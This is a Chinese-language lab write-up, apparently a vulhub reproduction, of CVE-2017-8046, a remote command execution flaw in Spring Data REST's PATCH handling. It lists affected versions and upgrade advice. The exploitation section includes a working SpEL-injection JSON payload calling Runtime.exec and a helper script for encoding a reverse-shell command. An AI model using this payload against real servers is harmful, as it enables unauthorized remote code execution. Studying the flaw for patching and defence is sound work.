发布于 

CVE-2017-8046(Spring Data Rest 远程命令执行)

1. 漏洞描述

https://4ra1n.love/post/wQearOYqr/

Spring Data RestSpring Data 框架的其中一个组件,Spring Data Rest 可构建Rest WebSpring Data RestPATCH 方法处理不当,path的值被传入setValue,导致攻击者能够利用JSON数据造成RCE。本质还是因为Spring的SpEl解析导致的RCE。

2. 影响版本

  • Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本;

  • Spring Boot versions 2.0.0M4 之前的版本;

  • Spring Data release trains Kay-RC3 之前的版本。

3. 漏洞复现

Patch方法是新引入的对PUT方法的补充,用来对已知资源进行局部更新。Patch请求方法有一个标准,必须包含一个path和op字段, op表示具体操作, path用于定位准确数据字段。

3.1 访问首页

image-20221021235247093

3.2 查看/customers详情

1
http://(ip):8080/customers

image-20221021235529978

我们可以看到序号为1的用户接口。

3.3 访问/customers/1详情

1
http://(ip):8080/customers/1

image-20221021235716624

我们可以看到我们查询到了用户的数据,我们可以尝试通过这个漏洞将请求通过PUTCH发送达到修改数据的功能。

3.4 修改用户数据

  1. 通过PATCH请求发包
  2. 类型为 application/json-patch+json
  3. 为用户新增属性

此处需要对比查看数据区别:

修改前:

image-20221022003309457

修改数据:

1
{ "op": "replace", "path": "/baz", "value": "boo" }

image-20221022003443102

删除数据:

1
{ "op": "remove", "path": "/foo" }

新增数据:

1
{ "op": "add", "path": "/hello", "value": ["world"] }

此处数据区别我们可以简单猜测一下,是后台在解析时,是通过”op “参数确定操作,“path” 参数是属性名,”value是属性值”

3.5 漏洞利用

1
2
3
4
5
s1 = input("请输入转ascii的字符:")
L = []
for s in s1:
L.append(ord(s))
print(L)

此POC用于将我们Base64编码后的反弹Shell命令转换为ASCII码。

1
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{(填入此处)}))/lastname", "value": "vulhub" }]

image-20221022005049170

我们在端口监听发现已经成功反弹了shell。

image-20221022005007044

4. 漏洞分析

….

5. 修复建议

建议将spring boot的jar包升级到Spring Boot 2.0.0.M4以上